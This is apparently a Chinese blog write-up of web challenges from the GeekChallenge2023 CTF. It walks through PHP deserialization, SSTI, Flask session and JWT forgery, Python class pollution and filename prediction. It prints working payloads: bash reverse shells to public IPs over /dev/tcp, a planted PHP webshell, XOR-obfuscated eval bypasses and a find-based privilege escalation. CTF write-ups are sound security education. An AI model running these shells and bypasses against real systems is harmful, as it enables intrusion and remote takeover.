GeekChallenge2023-web

ez_remove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}

if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>

看源代码发现主要是绕过preg_match进行代码执行,这边可以用16进制编码绕过,而且下面有throw new Error(“快来玩快来玩~”);所以要fast destruct,fast destruct主要通过在反序列化最后去掉一个},使它提前触发destruct

payload

1
?web=O:3:"syc":1:{S:5:"\6cover";s:15:"eval($_GET[1]);";

这边要注意S的大写

然后用system进行命令执行,发现被搬

image-20231101181954141

后来经过尝试发现貌似只有proc_open没被过滤

用法如下

1
2
3
4
5
6
7
8
9
10
<?php
$des = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道符中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道符中写入数据
2 => array("file", "./error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open($_GET[1], $des, $pipes);//第一个参数是需要执行的命令
var_dump($pipes);
echo stream_get_contents($pipes[1]);

最后的payload

1
?web=O:3:"syc":1:{S:5:"\6cover";s:15:"eval($_GET[1]);";&1=proc_open('bash -c "bash -i >%26 /dev/tcp/8.146.209.98/777 0>%261"',array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "./error-output.txt", "a")),$pipes);var_dump($pipes);echo stream_get_contents($pipes[1]);

在公网上监听

image-20231101182636864

反弹成功

接下来读取flag

image-20231101182707716

SYC{2kxBFYwOhKfr3jKi80}

Pupyy_rce

打开环境,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];

if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}

关键代码

1
2
if (!preg_match("/env|var|session|header/i", $var,$match))
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var))

一眼顶真,是无参rce具体参考我的博客无参数命令执行学习

1
2
3
4
5
6
7
8
9
10
11
12
print_r(scandir(current(localeconv())));
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

image-20231105112320415

因为是随机返回,所以要多试几次

SYC{1zDgyejyGY3xNMYuAV}

klf_ssti

打开环境查看源码

image-20231105115855402

访问路由/hack

image-20231105115916084

尝试一下get传参klf

image-20231105115944104

根据题目的描述,怀疑存在ssti注入漏洞,但是是盲注,我们先要找到哪里有popen

附盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
url="https://ytssutxxytj8e87bscua8r9c4.node.game.sycsec.com/hack"
for i in range(600):
try:
data={"klf":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]}}'}
respose=requests.get(url,params=data)
if respose.status_code==200:
print(i)
# print(respose.content)
except:
pass

得到运行结果

image-20231105120117871

经过尝试发现117里有popen,所以构造反弹shell的payload

1
?klf={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("bash -c 'bash -i >& /dev/tcp/8.146.209.98/777 0>&1'").read()}}

url加密一下执行上传,同时服务器进行监听

image-20231105120234396

反弹shell之后就是找flag了,这边找得我奔溃了,根本找不到,还好我锲而不舍

image-20231105120650304

SYC{PqCgjFkyhVn6XVdXEU}

you konw flask?

image-20231105151947535

使用robots.txt,发现/3ysd8.html,我们先访问一下

image-20231105152203707

发现session的key

我们去生成一个字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64



hex_dict = []


for byte1 in range(1,101):
s='wanbao'+base64.b64encode(str(byte1).encode('utf-8')).decode('utf-8')+'wanbao'
hex_representation = f"'{s}'"
hex_dict.append(hex_representation)


with open("session_key.txt", "w") as file:
for item in hex_dict:
file.write(f"{item}\n")

然后用字典去解session的key,我们先注册一个账户获取key

image-20231105152528856

1
flask-unsign --unsign --wordlist session_key.txt --cookie < session.txt

其中session_key.txt保存密钥,session.txt保存要解密的session

最后得到解密的session和密钥

image-20231105152641587

然后去用flask_session_cookie_manager去加密

1
python flask_session_cookie_manager3.py encode -s "wanbaoNDM=wanbao" -t "{'is_admin': True, 'name': 'qetx', 'user_id': 2}"

其中用户名和session的key换成自己的

image-20231105152804641

拿session去访问

image-20231105153013255

点学员管理

image-20231105153035480

SYC{hIfB1FTMy6A4upFs1B}

famale_imp_l0ve

打开环境

image-20231106185604831

发现只能上传zip文件,而且还不会解压,所以先进行了目录扫描,看看有没有什么其它路由

用dirmap扫描之后发现了一些可疑的路由

image-20231106185733078

访问/index.php/login并查看源代码,发现另一个重要的路由/include.php

image-20231106185838805

访问/include.php路由,得到源码

1
2
3
4
5
6
7
8
9
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

可以看到文件包含,初步思路是写一个木马命名为1.jpg,将1.jpg压缩成为flag1.zip然后上传,接着在文件包含的漏洞处用phar伪协议来访问压缩包内的木马文件并包含

image-20231106191906927

SYC{qdYQnb1Bu2rsVShSOp}

ez_path

给了一个pyc文件,先进行一下反编译,反编译在线网站:https://www.toolkk.com/tools/pyc-decomplie#google_vignette

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content


def generate_article_id():
return str(uuid.uuid4())


@app.route('/')
def index():
return render_template('index.html', articles=articles)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

return render_template('error.html')


def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)


def sanitize_filename(filename):
sensitive_chars = [
':', '*', '?', '"', '<', '>', '|', '.']
for char in sensitive_chars:
filename = filename.replace(char, '_')

return filename


if __name__ == '__main__':
app.run(debug=True)
# okay decompiling /tmp/6549caccc9ea3.pyc

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']//填写任意文件的路径
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)//参数可控,可以拼接路径进行任意文件执行

源代码可以看到flag路径

image-20231107142404095

直接任意文件读取

image-20231107142446373

image-20231107142456549

image-20231107142504554

SYC{5uaaTqP4nlC0AmIvUT}

EzRce

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>

后面getshell之后去看了waf.php的源码,嘿嘿

1
2
3
4
5
6
7
8
9
<?php

function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}

这边就直接用异或

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = "phpinfo"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 124,127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")#两个url字符进行的异或,虽然带有数字,但传参进去的时候已经变成特殊字符了
break
else:
continue
break

先看一下phpinfo

payload

1
2
(('%0c'^'%7c').('%08'^'%60').('%0c'^'%7c').('%09'^'%60').('%0e'^'%60').('%06'^'%60').('%0f'^'%60'))
();//一开始写成了('%0c'^'%7c').('%08'^'%60').('%0c'^'%7c').('%09'^'%60').('%0e'^'%60').('%06'^'%60').('%0f'^'%60')();nnd

image-20231114220714892

image-20231114220830746

看到被过滤了那么多函数,那没办法了,只能写入webshell然后fantanshell了

用file_put_contents(“s.php”,”%26 /dev/tcp/111.229.162.217/777 0>%261"',array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "./error-output.txt", "a")),$pipes);var_dump($pipes);echo stream_get_contents($pipes[1]);?>“);

这边用了proc_open来绕过

但是我们要执行的payload得一步步执行

1
2
3
4
5
6
7
$_=('%06'^'%60').('%09'^'%60').('%0c'^'%60').('%05'^'%60').('%00'^'%5f').('%0c'^'%7c').('%09'^'%7c').('%08'^'%7c').('%00'^'%5f').('%03'^'%60').('%0f'^'%60').('%0e'^'%60').('%08'^'%7c').('%05'^'%60').('%0e'^'%60').('%08'^'%7c').('%0c'^'%7f');//$_=file_put_contents
$__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');//$__=_POST
$___=$$__;//$___=$_POST
$_($___['_'],$___['*']);//file_put_contents($_POST['_'],$_POST['*']);
最后post提交
_=shell.php&*=<?php eval($des = array(0 => array("pipe", "r"),1 => array("pipe", "w"),
2 => array("file", "./error-output.txt", "a"));$process = proc_open('bash -c "bash -i >& /dev/tcp/111.229.162.217/777 0>&1"', $des, $pipes);var_dump($pipes);echo stream_get_contents($pipes[1]););?>

然后去访问shell.php,并在本地监听,得到webshell

image-20231114221406315

然后发现没直接读取的权限

那就看能不能提权

image-20231114221451407

发现find命令可以执行管理员权限,那就用find提权

1
find 'which find' -exec cat /flag \; 

image-20231114221637830

SYC{ThE_RCe_is_S0_Eas1ly_DD!}

ezpython

考点:python原型链污染和一个int绕过

先下载源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst)://原型链污染
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

简单分析一下大概就是我们先要再/register的路由下注册一个账户,然后要确保是vip(这边要用到原型链污染,因为注册的user类里没isvip),然后再去访问/flag的路由,绕过if判断之后就可以看到flag了

再来看一下注册的前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>用户注册</title>
</head>
<body>
<h1>用户注册</h1>
<form id="registrationForm">
<label for="username">用户名:</label><br>
<input type="text" id="username" name="username" required><br><br>

<label for="password">密码:</label><br>
<input type="password" id="password" name="password" required><br><br>

<input type="submit" value="注册">
</form>
<script>
document.getElementById('registrationForm').addEventListener('submit', function(event) {
event.preventDefault(); // Prevent the form from submitting normally

var username = document.getElementById('username').value;
var password = document.getElementById('password').value;

var formData = {
username: username,
password: password
};

var formDataJSON = JSON.stringify(formData);

fetch('/register', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: formDataJSON
}).then(response => {
// Handle the response from the server as needed
if (response.ok) {
// Registration successful, redirect to login page
window.location.href = '/login'; // Change to your actual login page URL
} else {
console.log('Registration failed');
}
}).catch(error => {
console.error('Registration error:', error);
});
});
</script>
</body>


<!--KFMEU3CJJBWHMZCTIJ5GIWCKNREUO3BQJIZU2Z3DNVWG4YKIKFTWIRZYM5RW2VTOMFME4MC2LBEWOZCHNBYGG6KCGNMVQ2ZP-->

</html>

关键代码

1
2
3
4
5
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: formDataJSON

可以看到前端从表单获取数据然后以json的格式返回到后端,那么我们就可以用burp抓包来发送json格式的数据然后并进行原型链污染

构造payload,因为isvip被过滤了,所以我们要用unicode编码来绕过\u0069\u0073\u0076\u0069\u0070

1
2
3
4
5
6
7
8
9
{
"username":"qetx",
"password":"123",
"__class__" : {
"__base__" : {
"\u0069\u0073\u0076\u0069\u0070":true//”isvip“:true
}
}
}

image-20231116111338373

这边要注意几个点,首先使用post发包,其次Content-Type: application/json,最后发送的post内容要符合json格式,可以发现注册成功,接下来先登录一下/login然后接着去访问/flag的路由,用get方法传入一个num=+123456789

1
https://an2e3bhn4xwap1sc1bkztiyjn.node.game.sycsec.com/flag?num=+123456789

执行之后查看源代码就可以得到flag了

image-20231116111836581

SYC{KpMMmU2EQxjPJc6Yb5}

change_it

打开是一个登录界面,查看源代码看到用户名和密码user和user,登录进去

image-20231118125334644

可以看到有文件上传漏洞,但是发现不是管理员没法上传

看一下token

image-20231118125611874

根据前端的代码,猜测大概率是jwt格式的token,和伪造flask的session一样,我们先去爆破一下密码

image-20231118125954882

可以看到爆破出来的密码是yibao,那么接下来就是去伪造token了

image-20231118130128519

将伪造后的session放入cookie

image-20231118130205450

发现可以上传图片了,但是上传木马之后发现木马的名字命名是随机的,但是可以通过源码看到它生成随机密码的函数

1
2
3
4
5
6
7
8
9
10
11
12
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = time();
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}

但是根据

1
mt_srand($seed);

可以判断出这个是伪随机,我们只要写一个爆破的脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = time();
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';


for($time=$seed-30;$time<=$seed+30;$time++) {
$newFileName = '';
php_mt_seed($time);
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}
print($newFileName);
echo PHP_EOL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time
url1="http://c6tbksa38l0vybgg88486rhgf.node.game.sycsec.com/upload/{}.php"//注意不要用https访问,不然报错
with open('name.txt','r') as f:
lines=f.readlines()
for line in lines:
time.sleep(2)
line=line.replace('\n','')
url=url1.format(line)
response=requests.get(url)
if response.status_code==200:
print(url)
break

image-20231118133737382

去用蚁剑连接这个网址

image-20231118133927668

得到flag

SYC{xw5Fv0DwtkRsasfvg1}


GeekChallenge2023-web
http://www.qetx.top/posts/54322/
作者
Qetx.Jul.27
发布于
2023年11月1日
许可协议